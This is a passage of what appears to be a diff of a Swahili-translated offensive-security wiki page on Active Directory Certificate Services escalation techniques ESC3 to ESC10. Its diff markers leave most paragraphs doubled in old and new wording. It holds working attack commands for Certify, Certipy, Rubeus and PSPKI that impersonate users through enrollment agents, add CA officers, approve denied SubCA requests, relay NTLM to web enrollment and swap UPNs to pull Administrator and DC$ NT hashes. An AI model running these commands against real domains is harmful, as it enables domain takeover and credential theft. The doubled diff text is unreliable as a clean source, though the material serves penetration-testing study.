- Maelezo ya usalama ya mfano wa cheti ni ya kupitiliza, ikitoa haki za kujiandikisha kwa watumiaji wenye mamlaka ya chini.
- Maelezo ya usalama ya mfano wa cheti ni ya kupitisha kupita kiasi, ikitoa haki za kujiandikisha kwa watumiaji wenye mamlaka ya chini.
- Mfano wa cheti unajumuisha Certificate Request Agent EKU, ikiruhusu ombi la mifano mingine ya cheti kwa niaba ya wahusika wengine.
**Requirements 2:**
**Mahitaji 2:**
- Enterprise CA inatoa haki za kujiandikisha kwa watumiaji wenye mamlaka ya chini.
- Idhini ya meneja inakwepa.
- Idhini ya meneja inakwepwa.
- Toleo la muundo wa mfano ni 1 au linazidi 2, na linaelezea Mahitaji ya Sera ya Maombi ambayo yanahitaji Certificate Request Agent EKU.
- EKU iliyofafanuliwa katika mfano wa cheti inaruhusu uthibitisho wa kikoa.
- Vikwazo kwa ajili ya wakala wa kujiandikisha havitumiki kwenye CA.
### Abuse
Unaweza kutumia [**Certify**](https://github.com/GhostPack/Certify) au [**Certipy**](https://github.com/ly4k/Certipy) kutekeleza hali hii:
You can use [**Certify**](https://github.com/GhostPack/Certify) or [**Certipy**](https://github.com/ly4k/Certipy) to abuse this scenario:
```bash
# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
@ -117,9 +117,9 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
**Watumiaji** ambao wanaruhusiwa **kupata** **cheti cha wakala wa kujiandikisha**, mifano ambayo wakala wa kujiandikisha wanaruhusiwa kujiandikisha, na **akaunti** ambazo wakala wa kujiandikisha anaweza kufanya kazi kwa niaba yake zinaweza kudhibitiwa na CAs za biashara. Hii inafikiwa kwa kufungua `certsrc.msc` **snap-in**, **kubonyeza kulia kwenye CA**, **kubonyeza Mali**, na kisha **kuhamasisha** kwenye kichupo cha “Wakala wa Kujiandikisha”.
**Watumiaji** ambao wanaruhusiwa **kupata** **cheti cha wakala wa usajili**, mifano ambayo wakala wa usajili **wanaruhusiwa** kujiandikisha, na **akaunti** kwa niaba ya ambayo wakala wa usajili anaweza kutenda zinaweza kudhibitiwa na CAs za biashara. Hii inafikiwa kwa kufungua `certsrc.msc` **snap-in**, **kubonyeza kulia kwenye CA**, **kubonyeza Mali**, na kisha **kuhamasisha** kwenye tab ya “Wakala wa Usajili”.
Hata hivyo, inabainishwa kuwa **mpangilio** wa kawaida wa CAs ni “**Usizuie wakala wa kujiandikisha**.” Wakati vizuizi juu ya wakala wa kujiandikisha vinawashwa na wasimamizi, kuweka kwenye “Zuia wakala wa kujiandikisha,” usanidi wa kawaida unabaki kuwa na ruhusa nyingi sana. Inaruhusu **Kila Mtu** kujiandikisha katika mifano yote kama mtu yeyote.
Hata hivyo, inabainishwa kuwa **mpangilio** wa **kawaida** kwa CAs ni “**Usizuie wakala wa usajili**.” Wakati kizuizi juu ya wakala wa usajili kinawashwa na wasimamizi, kuweka kwenye “Zuia wakala wa usajili,” mpangilio wa kawaida unabaki kuwa na ruhusa nyingi. Inaruhusu **Kila Mtu** kujiandikisha katika mifano yote kama mtu yeyote.
## Udhibiti wa Upatikanaji wa Mifano ya Cheti Inayoweza Kuathiriwa - ESC4
@ -131,7 +131,7 @@ Iwapo **mshambuliaji** ana ruhusa zinazohitajika **kubadilisha** **mfano** na **
Ruhusa muhimu zinazohusiana na mifano ya cheti ni pamoja na:
- **Mmiliki:** Inatoa udhibiti wa kimya juu ya kitu, ikiruhusu mabadiliko ya sifa zozote.
- **Mmiliki:** Inatoa udhibiti wa kimya juu ya kitu, ikiruhusu kubadilisha sifa zozote.
- **FullControl:** Inaruhusu mamlaka kamili juu ya kitu, ikiwa ni pamoja na uwezo wa kubadilisha sifa zozote.
- **WriteOwner:** Inaruhusu kubadilisha mmiliki wa kitu kuwa kiongozi chini ya udhibiti wa mshambuliaji.
- **WriteDacl:** Inaruhusu marekebisho ya udhibiti wa upatikanaji, huenda ikampa mshambuliaji FullControl.
@ -143,7 +143,7 @@ Mfano wa privesc kama wa awali:
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
ESC4 ni wakati mtumiaji ana ruhusa za kuandika juu ya mfano wa cheti. Hii inaweza kwa mfano kutumiwa kubadilisha usanidi wa mfano wa cheti ili kufanya mfano huo uwe na udhaifu kwa ESC1.
ESC4 ni wakati mtumiaji ana ruhusa za kuandika juu ya mfano wa cheti. Hii inaweza kwa mfano kutumiwa kubadilisha mpangilio wa mfano wa cheti ili kufanya mfano huo uwe na udhaifu kwa ESC1.
Kama tunavyoona katika njia hapo juu, ni `JOHNPC` pekee ndiye mwenye ruhusa hizi, lakini mtumiaji wetu `JOHN` ana kiunganishi kipya cha `AddKeyCredentialLink` kwa `JOHNPC`. Kwa kuwa mbinu hii inahusiana na vyeti, nimeanzisha shambulio hili pia, ambalo linajulikana kama [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Hapa kuna muonekano mdogo wa amri ya `shadow auto` ya Certipy ili kupata hash ya NT ya mwathirika.
```bash
@ -168,7 +168,7 @@ Mtandao mpana wa uhusiano wa ACL unaounganisha, ambao unajumuisha vitu kadhaa za
- Kituo cha kompyuta cha AD cha seva ya CA, ambacho kinaweza kuathiriwa kupitia mitambo kama S4U2Self au S4U2Proxy.
- Seva ya RPC/DCOM ya seva ya CA.
- Kila kituo cha AD au chombo ndani ya njia maalum ya kituo `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Njia hii inajumuisha, lakini sio tu, vyombo na vitu kama vile chombo cha Templeti za Cheti, chombo cha Mamlaka ya Uthibitishaji, kitu cha NTAuthCertificates, na Chombo cha Huduma za Usajili.
- Kila kituo cha AD au chombo ndani ya njia maalum ya kituo `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Njia hii inajumuisha, lakini siyo tu, vyombo na vitu kama vile chombo cha Templeti za Cheti, chombo cha Mamlaka ya Uthibitishaji, kitu cha NTAuthCertificates, na Chombo cha Huduma za Usajili.
Usalama wa mfumo wa PKI unaweza kuathiriwa ikiwa mshambuliaji mwenye mamlaka ya chini atafanikiwa kupata udhibiti wa yoyote ya vipengele hivi muhimu.
@ -176,7 +176,7 @@ Usalama wa mfumo wa PKI unaweza kuathiriwa ikiwa mshambuliaji mwenye mamlaka ya
### Explanation
Mada inayozungumziwa katika [**post ya CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) pia inagusia athari za **`EDITF_ATTRIBUTESUBJECTALTNAME2`** kama ilivyoelezwa na Microsoft. Mipangilio hii, inapowashwa kwenye Mamlaka ya Uthibitishaji (CA), inaruhusu kuingizwa kwa **maadili yaliyofafanuliwa na mtumiaji** katika **jina mbadala la somo** kwa **ombwe lolote**, ikiwa ni pamoja na yale yanayojengwa kutoka Active Directory®. Kwa hivyo, kipengele hiki kinawaruhusu **wavamizi** kujiandikisha kupitia **templeti yoyote** iliyowekwa kwa ajili ya **uthibitishaji** wa kikoa—hasa zile zinazofunguliwa kwa usajili wa mtumiaji **asiye na mamlaka**, kama vile templeti ya kawaida ya Mtumiaji. Kama matokeo, cheti kinaweza kulindwa, na kumwezesha mhamasishaji kuthibitisha kama msimamizi wa kikoa au **kitu chochote kingine kilichopo** ndani ya kikoa.
Mada inayozungumziwa katika [**post ya CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) pia inagusia athari za bendera **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, kama ilivyoelezwa na Microsoft. Mipangilio hii, inapowashwa kwenye Mamlaka ya Uthibitishaji (CA), inaruhusu kuingizwa kwa **maadili yaliyofafanuliwa na mtumiaji** katika **jina mbadala la somo** kwa **ombwe lolote**, ikiwa ni pamoja na yale yanayoundwa kutoka Active Directory®. Kwa hivyo, kipengele hiki kinamruhusu **mshambuliaji** kujiandikisha kupitia **templeti yoyote** iliyowekwa kwa **uthibitishaji** wa kikoa—hasa zile zinazofunguliwa kwa usajili wa mtumiaji **asiye na mamlaka**, kama vile templeti ya kawaida ya Mtumiaji. Kama matokeo, cheti kinaweza kulindwa, na kumwezesha mshambuliaji kujiuthibitisha kama msimamizi wa kikoa au **kitu chochote kingine kilichopo** ndani ya kikoa.
**Note**: Njia ya kuongezea **majina mbadala** katika Ombi la Kusaini Cheti (CSR), kupitia hoja `-attrib "SAN:"` katika `certreq.exe` (inayojulikana kama “Name Value Pairs”), ina **tofauti** na mkakati wa unyakuzi wa SANs katika ESC1. Hapa, tofauti iko katika **jinsi taarifa za akaunti zinavyofungwa**—ndani ya sifa ya cheti, badala ya nyongeza.
@ -208,8 +208,8 @@ Ili kuzima usanidi huu katika mazingira yako, bendera inaweza kuondolewa kwa:
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
> [!WARNING]
> Baada ya sasisho za usalama za Mei 2022, **vyeti** vilivyotolewa hivi karibuni vitakuwa na **nyongeza ya usalama** inayojumuisha **sifa ya `objectSid` ya ombaaji**. Kwa ESC1, SID hii inatokana na SAN iliyoainishwa. Hata hivyo, kwa **ESC6**, SID inakidhi **`objectSid` ya ombaaji**, si SAN.\
> Ili kutumia ESC6, ni muhimu kwa mfumo kuwa na udhaifu kwa ESC10 (Mifumo ya Vyeti Dhaifu), ambayo inapa kipaumbele **SAN kuliko nyongeza mpya ya usalama**.
> Baada ya sasisho za usalama za Mei 2022, **vyeti** vilivyotolewa hivi karibuni vitakuwa na **nyongeza ya usalama** inayojumuisha **sifa ya `objectSid` ya mombaji**. Kwa ESC1, SID hii inatokana na SAN iliyoainishwa. Hata hivyo, kwa **ESC6**, SID inakidhi **`objectSid` ya mombaji**, si SAN.\
> Ili kutumia ESC6, ni muhimu kwa mfumo kuwa na udhaifu kwa ESC10 (Mifumo ya Vyeti Dhaifu), ambayo inapa kipaumbele **SAN juu ya nyongeza mpya ya usalama**.
## Udhibiti wa Upatikanaji wa Mamlaka ya Vyeti - ESC7
@ -217,22 +217,22 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
#### Maelezo
Udhibiti wa upatikanaji kwa mamlaka ya vyeti unadumishwa kupitia seti ya ruhusa zinazodhibiti vitendo vya CA. Ruhusa hizi zinaweza kuonekana kwa kufikia `certsrv.msc`, kubonyeza kulia CA, kuchagua mali, na kisha kuhamia kwenye kichupo cha Usalama. Zaidi ya hayo, ruhusa zinaweza kuorodheshwa kwa kutumia moduli ya PSPKI na amri kama:
Udhibiti wa upatikanaji wa mamlaka ya cheti unadumishwa kupitia seti ya ruhusa zinazodhibiti vitendo vya CA. Ruhusa hizi zinaweza kuonekana kwa kufikia `certsrv.msc`, kubonyeza kulia CA, kuchagua mali, na kisha kuhamia kwenye kichupo cha Usalama. Zaidi ya hayo, ruhusa zinaweza kuhesabiwa kwa kutumia moduli ya PSPKI na amri kama:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
Hii inatoa mwanga kuhusu haki za msingi, hasa **`ManageCA`** na **`ManageCertificates`**, zinazohusiana na majukumu ya "meneja wa CA" na "Meneja wa Cheti" mtawalia.
Hii inatoa ufahamu kuhusu haki za msingi, hasa **`ManageCA`** na **`ManageCertificates`**, zinazohusiana na majukumu ya “meneja wa CA” na “Meneja wa Cheti” mtawalia.
#### Abuse
Kuwa na haki za **`ManageCA`** kwenye mamlaka ya cheti kunamwezesha mtumiaji kubadilisha mipangilio kwa mbali kwa kutumia PSPKI. Hii inajumuisha kubadilisha bendera ya **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ili kuruhusu ufafanuzi wa SAN katika kigezo chochote, jambo muhimu katika kupandisha ngazi ya domain.
Kuwa na haki za **`ManageCA`** kwenye mamlaka ya cheti kunamwezesha mhusika kubadilisha mipangilio kwa mbali kwa kutumia PSPKI. Hii inajumuisha kubadilisha bendera ya **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ili kuruhusu ufafanuzi wa SAN katika kigezo chochote, jambo muhimu katika kupandisha ngazi ya domain.
Rahisishaji wa mchakato huu unaweza kufikiwa kupitia matumizi ya cmdlet ya PSPKI **Enable-PolicyModuleFlag**, inayoruhusu mabadiliko bila mwingiliano wa moja kwa moja wa GUI.
Kuwa na haki za **`ManageCertificates`** kunarahisisha idhini ya maombi yanayosubiri, kwa ufanisi ikiepuka kinga ya "idhini ya meneja wa cheti cha CA".
Kuwa na haki za **`ManageCertificates`** kunarahisisha idhini ya maombi yanayosubiri, kwa ufanisi kuzunguka kingo ya "idhini ya meneja wa cheti cha CA".
Mchanganyiko wa moduli za **Certify** na **PSPKI** unaweza kutumika kuomba, kuidhinisha, na kupakua cheti:
```powershell
```bash
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
@ -252,7 +252,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### Explanation
> [!WARNING]
> Katika **shambulio la awali** **`Manage CA`** ruhusa zilitumika ku **wezesha** bendera ya **EDITF_ATTRIBUTESUBJECTALTNAME2** ili kutekeleza **shambulio la ESC6**, lakini hii haitakuwa na athari yoyote hadi huduma ya CA (`CertSvc`) ipatikane tena. Wakati mtumiaji ana haki ya ufikiaji ya `Manage CA`, mtumiaji pia anaruhusiwa **kuanzisha huduma hiyo tena**. Hata hivyo, **haitoi maana kwamba mtumiaji anaweza kuanzisha huduma hiyo tena kwa mbali**. Zaidi ya hayo, E**SC6 huenda isifanye kazi moja kwa moja** katika mazingira mengi yaliyorekebishwa kutokana na masasisho ya usalama ya Mei 2022.
> Katika **shambulio la awali** **`Manage CA`** ruhusa zilitumika **kuwezesha** bendera ya **EDITF_ATTRIBUTESUBJECTALTNAME2** ili kutekeleza **shambulio la ESC6**, lakini hii haitakuwa na athari yoyote hadi huduma ya CA (`CertSvc`) ipyaanzishwe. Wakati mtumiaji ana haki ya ufikiaji ya `Manage CA`, mtumiaji pia anaruhusiwa **kuanzisha upya huduma**. Hata hivyo, **haitoi maana kwamba mtumiaji anaweza kuanzisha upya huduma hiyo kwa mbali**. Zaidi ya hayo, E**SC6 huenda isifanye kazi moja kwa moja** katika mazingira mengi yaliyorekebishwa kutokana na masasisho ya usalama ya Mei 2022.
Kwa hivyo, shambulio lingine linawasilishwa hapa.
@ -262,18 +262,18 @@ Perquisites:
- **`Manage Certificates`** ruhusa (inaweza kutolewa kutoka **`ManageCA`**)
- Kigezo cha cheti **`SubCA`** lazima kiwe **kimewezeshwa** (inaweza kuwezeshwa kutoka **`ManageCA`**)
Teknolojia inategemea ukweli kwamba watumiaji wenye haki ya ufikiaji ya `Manage CA` _na_ `Manage Certificates` wanaweza **kutoa maombi ya cheti yaliyoshindwa**. Kigezo cha cheti **`SubCA`** ni **dhaifu kwa ESC1**, lakini **ni wasimamizi pekee** wanaoweza kujiandikisha katika kigezo hicho. Hivyo, **mtumiaji** anaweza **kuomba** kujiandikisha katika **`SubCA`** - ambayo itakataliwa - lakini **kisha itatolewa na meneja baadaye**.
Teknolojia hii inategemea ukweli kwamba watumiaji wenye haki ya ufikiaji ya `Manage CA` _na_ `Manage Certificates` wanaweza **kutoa maombi ya cheti yaliyoshindwa**. Kigezo cha cheti **`SubCA`** ni **hatarini kwa ESC1**, lakini **ni wasimamizi pekee** wanaoweza kujiandikisha katika kigezo hicho. Hivyo, **mtumiaji** anaweza **kuomba** kujiandikisha katika **`SubCA`** - ambayo itakataliwa - lakini **kisha itatolewa na meneja baadaye**.
#### Abuse
Unaweza **kujipe ruhusa ya `Manage Certificates`** kwa kuongeza mtumiaji wako kama afisa mpya.
Unaweza **kujiwezesha mwenyewe haki ya `Manage Certificates`** kwa kuongeza mtumiaji wako kama afisa mpya.
```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
Kigezo cha **`SubCA`** kinaweza **kuwezeshwa kwenye CA** kwa kutumia parameter ya `-enable-template`. Kwa default, kigezo cha `SubCA` kimewezeshwa.
Kigezo cha **`SubCA`** kinaweza **kuiwezesha kwenye CA** kwa kutumia parameter ya `-enable-template`. Kwa default, kigezo cha `SubCA` kimewezesha.
```bash
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@ -323,12 +323,12 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Maelezo
> [!NOTE]
> Katika mazingira ambapo **AD CS imewekwa**, ikiwa **kiungo cha kujiandikisha mtandaoni kilicho hatarini** kinapatikana na angalau **kigezo kimoja cha cheti kimechapishwa** kinachoruhusu **kujiandikisha kwa kompyuta za kikoa na uthibitishaji wa mteja** (kama vile kigezo cha **`Machine`** cha kawaida), inakuwa inawezekana kwa **kompyuta yoyote yenye huduma ya spooler inayofanya kazi kuathiriwa na mshambuliaji**!
> Katika mazingira ambapo **AD CS imewekwa**, ikiwa **kiungo cha kujiandikisha mtandaoni kilicho hatarini** kinapatikana na angalau **kigezo kimoja cha cheti kimechapishwa** kinachoruhusu **kujiandikisha kwa kompyuta za kikoa na uthibitishaji wa mteja** (kama vile kigezo cha **`Machine`** cha kawaida), inakuwa inawezekana kwa **kompyuta yoyote yenye huduma ya spooler iliyowashwa kuathiriwa na mshambuliaji**!
Mbinu kadhaa za **kujiandikisha mtandaoni za HTTP** zinasaidiwa na AD CS, zinazopatikana kupitia majukumu ya ziada ya seva ambayo wasimamizi wanaweza kuweka. Interfaces hizi za kujiandikisha cheti za HTTP zinakabiliwa na **shambulio la NTLM relay**. Mshambuliaji, kutoka kwa **kompyuta iliyoathiriwa, anaweza kujifanya kuwa akaunti yoyote ya AD inayothibitishwa kupitia NTLM ya ndani**. Wakati wa kujifanya kuwa akaunti ya mwathirika, interfaces hizi za mtandaoni zinaweza kufikiwa na mshambuliaji ili **kuomba cheti cha uthibitishaji wa mteja kwa kutumia kigezo cha cheti cha `User` au `Machine`**.
Mbinu kadhaa za **kujiandikisha mtandaoni zinazotumia HTTP** zinasaidiwa na AD CS, zinazopatikana kupitia majukumu ya ziada ya seva ambayo wasimamizi wanaweza kufunga. Interfaces hizi za kujiandikisha cheti zinazotumia HTTP zinahatarishwa na **shambulio la NTLM relay**. Mshambuliaji, kutoka kwa **kompyuta iliyoathiriwa, anaweza kujifanya kuwa akaunti yoyote ya AD inayothibitishwa kupitia NTLM ya ndani**. Wakati wa kujifanya kuwa akaunti ya mwathirika, interfaces hizi za mtandaoni zinaweza kufikiwa na mshambuliaji ili **kuomba cheti cha uthibitishaji wa mteja kwa kutumia kigezo cha cheti cha `User` au `Machine`**.
- **Interface ya kujiandikisha mtandaoni** (programu ya zamani ya ASP inayopatikana kwenye `http://<caserver>/certsrv/`), inategemea HTTP pekee, ambayo haitoi ulinzi dhidi ya shambulio la NTLM relay. Zaidi ya hayo, inaruhusu tu uthibitishaji wa NTLM kupitia kichwa chake cha HTTP cha Uidhinishaji, na kufanya mbinu za uthibitishaji salama zaidi kama Kerberos zisifae.
- **Huduma ya Kujiandikisha Cheti** (CES), **Sera ya Kujiandikisha Cheti** (CEP) Web Service, na **Huduma ya Kujiandikisha Vifaa vya Mtandao** (NDES) kwa kawaida zinasaidia uthibitishaji wa negotiate kupitia kichwa chao cha HTTP cha Uidhinishaji. Uthibitishaji wa negotiate **unasaidia wote** Kerberos na **NTLM**, ikimruhusu mshambuliaji **kushuka hadi NTLM** uthibitishaji wakati wa shambulio la relay. Ingawa huduma hizi za mtandaoni zinawezesha HTTPS kwa kawaida, HTTPS pekee **haitoi ulinzi dhidi ya shambulio la NTLM relay**. Ulinzi kutoka kwa shambulio la NTLM relay kwa huduma za HTTPS unaweza kupatikana tu wakati HTTPS inachanganywa na uhusiano wa channel binding. Kwa bahati mbaya, AD CS haizindui Ulinzi wa Kupanuliwa kwa Uthibitishaji kwenye IIS, ambayo inahitajika kwa uhusiano wa channel binding.
- **Interface ya kujiandikisha mtandaoni** (programu ya zamani ya ASP inayopatikana kwenye `http://<caserver>/certsrv/`), inategemea HTTP pekee, ambayo haina ulinzi dhidi ya shambulio la NTLM relay. Zaidi ya hayo, inaruhusu tu uthibitishaji wa NTLM kupitia kichwa chake cha HTTP cha Uidhinishaji, na kufanya mbinu za uthibitishaji salama zaidi kama Kerberos zisifae.
- **Huduma ya Kujiandikisha Cheti** (CES), **Sera ya Kujiandikisha Cheti** (CEP) Web Service, na **Huduma ya Kujiandikisha Kifaa cha Mtandao** (NDES) kwa kawaida zinasaidia uthibitishaji wa negotiate kupitia kichwa chao cha HTTP cha Uidhinishaji. Uthibitishaji wa negotiate **unasaidia wote** Kerberos na **NTLM**, ikiruhusu mshambuliaji **kushuka hadi NTLM** uthibitishaji wakati wa shambulio la relay. Ingawa huduma hizi za mtandaoni zinawezesha HTTPS kwa kawaida, HTTPS pekee **haiwezi kulinda dhidi ya shambulio la NTLM relay**. Ulinzi kutoka kwa shambulio la NTLM relay kwa huduma za HTTPS unaweza tu kupatikana wakati HTTPS inachanganywa na channel binding. Kwa bahati mbaya, AD CS haizindui Ulinzi wa Kupanuliwa kwa Uthibitishaji kwenye IIS, ambayo inahitajika kwa channel binding.
Tatizo la kawaida na shambulio la NTLM relay ni **muda mfupi wa vikao vya NTLM** na kutoweza kwa mshambuliaji kuingiliana na huduma zinazohitaji **saini ya NTLM**.
@ -352,18 +352,18 @@ Certify.exe cas
```
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
Mali ya `msPKI-Enrollment-Servers` yanatumika na Mamlaka ya Vyeti ya biashara (CAs) kuhifadhi maeneo ya Huduma ya Usajili wa Vyeti (CES). Maeneo haya yanaweza kuchambuliwa na kuorodheshwa kwa kutumia zana **Certutil.exe**:
Mali ya `msPKI-Enrollment-Servers` inatumika na Mamlaka ya Vyeti ya biashara (CAs) kuhifadhi maeneo ya Huduma ya Usajili wa Vyeti (CES). Maeneo haya yanaweza kuchambuliwa na kuorodheshwa kwa kutumia zana **Certutil.exe**:
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
<figure><img src="../../../images/image (757).png" alt=""><figcaption></figcaption></figure>
```powershell
```bash
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
<figure><img src="../../../images/image (940).png" alt=""><figcaption></figcaption></figure>
#### Unyanyasaji kwa kutumia Certify
#### Unyanyasaji na Certify
```bash
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
@ -380,7 +380,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
```
#### Abuse with [Certipy](https://github.com/ly4k/Certipy)
Ombi la cheti linafanywa na Certipy kwa default kulingana na kiolezo `Machine` au `User`, kinachopangwa na ikiwa jina la akaunti inayosambazwa linaishia na `$`. Mwelekeo wa kiolezo mbadala unaweza kupatikana kupitia matumizi ya parameter `-template`.
Ombi la cheti linafanywa na Certipy kwa default kulingana na kigezo `Machine` au `User`, kinachopangwa kulingana na ikiwa jina la akaunti inayosambazwa linaishia na `$`. Mwelekeo wa kigezo mbadala unaweza kufikiwa kupitia matumizi ya parameter `-template`.
Teknolojia kama [PetitPotam](https://github.com/ly4k/PetitPotam) inaweza kisha kutumika kulazimisha uthibitishaji. Wakati wa kushughulika na wasimamizi wa kikoa, mwelekeo wa `-template DomainController` unahitajika.
```bash
@ -399,7 +399,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Maelezo
Thamani mpya **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) kwa **`msPKI-Enrollment-Flag`**, inayojulikana kama ESC9, inazuia kuingizwa kwa **nyongeza ya usalama mpya `szOID_NTDS_CA_SECURITY_EXT`** katika cheti. Bendera hii inakuwa muhimu wakati `StrongCertificateBindingEnforcement` imewekwa kuwa `1` (mipangilio ya kawaida), ambayo inapingana na mipangilio ya `2`. Umuhimu wake unazidi kuongezeka katika hali ambapo ramani dhaifu ya cheti kwa Kerberos au Schannel inaweza kutumika (kama katika ESC10), kwa kuwa ukosefu wa ESC9 haugeuzi mahitaji.
Thamani mpya **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) kwa **`msPKI-Enrollment-Flag`**, inayojulikana kama ESC9, inazuia kuingizwa kwa **nyongeza ya usalama mpya `szOID_NTDS_CA_SECURITY_EXT`** katika cheti. Bendera hii inakuwa muhimu wakati `StrongCertificateBindingEnforcement` imewekwa kuwa `1` (mipangilio ya kawaida), ambayo inapingana na mipangilio ya `2`. Umuhimu wake unazidi kuongezeka katika hali ambapo ramani dhaifu ya cheti kwa Kerberos au Schannel inaweza kutumika (kama katika ESC10), kwa kuwa ukosefu wa ESC9 hautabadilisha mahitaji.
Masharti ambayo mipangilio ya bendera hii inakuwa muhimu ni pamoja na:
@ -416,13 +416,13 @@ Kwanza, hash ya `Jane` inapatikana kwa kutumia Shadow Credentials, shukrani kwa
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
Kisha, `Jane`'s `userPrincipalName` inabadilishwa kuwa `Administrator`, kwa makusudi ikiacha sehemu ya `@corp.local` ya eneo:
Kwa hiyo, `Jane`'s `userPrincipalName` inabadilishwa kuwa `Administrator`, ikikusudia kuacha sehemu ya kikoa `@corp.local`:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
Hii marekebisho hayakiuka vikwazo, kwa kuwa `Administrator@corp.local` inabaki kuwa tofauti kama `userPrincipalName` wa `Administrator`.
Baada ya hii, kiolezo cha cheti `ESC9`, kilichotajwa kuwa hatarishi, kinahitajika kama `Jane`:
Baada ya hii, kiolezo cha cheti `ESC9`, kilichotajwa kuwa na udhaifu, kinahitajika kama `Jane`:
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
@ -436,24 +436,24 @@ Kujaribu uthibitisho na cheti kilichotolewa sasa kunatoa NT hash ya `Administrat
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
## Weak Certificate Mappings - ESC10
## Mipangilio Dhaifu ya Cheti - ESC10
### Explanation
### Maelezo
Thamani mbili za funguo za rejista kwenye kidhibiti cha eneo zinarejelewa na ESC10:
- Thamani ya default kwa `CertificateMappingMethods` chini ya `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` ni `0x18` (`0x8 | 0x10`), hapo awali ilikua `0x1F`.
- Mpangilio wa default kwa `StrongCertificateBindingEnforcement` chini ya `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` ni `1`, hapo awali `0`.
**Case 1**
**Kesi ya 1**
Wakati `StrongCertificateBindingEnforcement` imewekwa kama `0`.
**Case 2**
**Kesi ya 2**
Ikiwa `CertificateMappingMethods` inajumuisha bit ya `UPN` (`0x4`).
### Abuse Case 1
### Kesi ya Kunyanyaswa 1
Pamoja na `StrongCertificateBindingEnforcement` imewekwa kama `0`, akaunti A yenye ruhusa za `GenericWrite` inaweza kutumika kuathiri akaunti yoyote B.
@ -463,11 +463,11 @@ Kwanza, hash ya `Jane` inapatikana kwa kutumia Shadow Credentials, ikitumia `Gen
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
Kisha, `Jane`'s `userPrincipalName` inabadilishwa kuwa `Administrator`, ikikusudia kuacha sehemu ya `@corp.local` ili kuepuka ukiukaji wa kizuizi.
Kwa hivyo, `Jane`'s `userPrincipalName` inabadilishwa kuwa `Administrator`, ikiacha makusudi sehemu ya `@corp.local` ili kuepuka ukiukaji wa kizuizi.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
Kufuata hili, cheti kinachowezesha uthibitishaji wa mteja kinahitajika kama `Jane`, kwa kutumia kiolezo cha `User` cha kawaida.
Kufuata hili, cheti kinachowezesha uthibitisho wa mteja kinahitajika kama `Jane`, kwa kutumia kigezo cha kawaida `User`.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
@ -479,9 +479,9 @@ Kuthibitisha na cheti kilichopatikana kutatoa NT hash ya `Administrator@corp.loc
```bash
certipy auth -pfx administrator.pfx -domain corp.local
```
### Case ya Kunyanyaswa 2
### Abuse Case 2
Pamoja na `CertificateMappingMethods` inayojumuisha bendera ya `UPN` (`0x4`), akaunti A yenye ruhusa za `GenericWrite` inaweza kuathiri akaunti yoyote B isiyo na mali ya `userPrincipalName`, ikiwa ni pamoja na akaunti za mashine na msimamizi wa ndani wa domain `Administrator`.
Ikiwa `CertificateMappingMethods` ina bendera ya `UPN` (`0x4`), akaunti A yenye ruhusa za `GenericWrite` inaweza kuathiri akaunti yoyote B isiyo na mali ya `userPrincipalName`, ikiwa ni pamoja na akaunti za mashine na msimamizi wa ndani wa domain `Administrator`.
Hapa, lengo ni kuathiri `DC$@corp.local`, kuanzia na kupata hash ya `Jane` kupitia Shadow Credentials, ikitumia `GenericWrite`.
```bash
@ -491,7 +491,7 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
Cheti cha uthibitisho wa mteja kinahitajika kama `Jane` kwa kutumia kigezo cha `User` kilichowekwa kuwa chaguo-msingi.
